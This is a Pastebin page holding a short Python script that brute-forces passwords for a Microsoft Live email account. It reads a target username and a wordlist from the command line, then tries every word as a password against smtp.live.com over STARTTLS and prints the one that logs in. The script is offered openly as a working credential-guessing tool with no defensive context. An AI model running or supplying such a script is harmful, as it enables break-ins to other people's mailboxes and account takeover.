Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import smtplib
- import sys
- user = str(sys.argv[1])
- passwdfile = str(sys.argv[2])
- server = 'smtp.live.com'
- port = 587
- smtp = smtplib.SMTP(server, port)
- smtp.ehlo()
- smtp.starttls()
- def connect(user, passwd):
- try:
- smtp.login(user, passwd)
- print('[*] Password found: %s' % (passwd))
- except:
- print('[*] Attempting password %s ' % (passwd))
- file = open(passwdfile, 'r')
- for word in file:
- connect(user, word)
Add Comment
Please, Sign In to add comment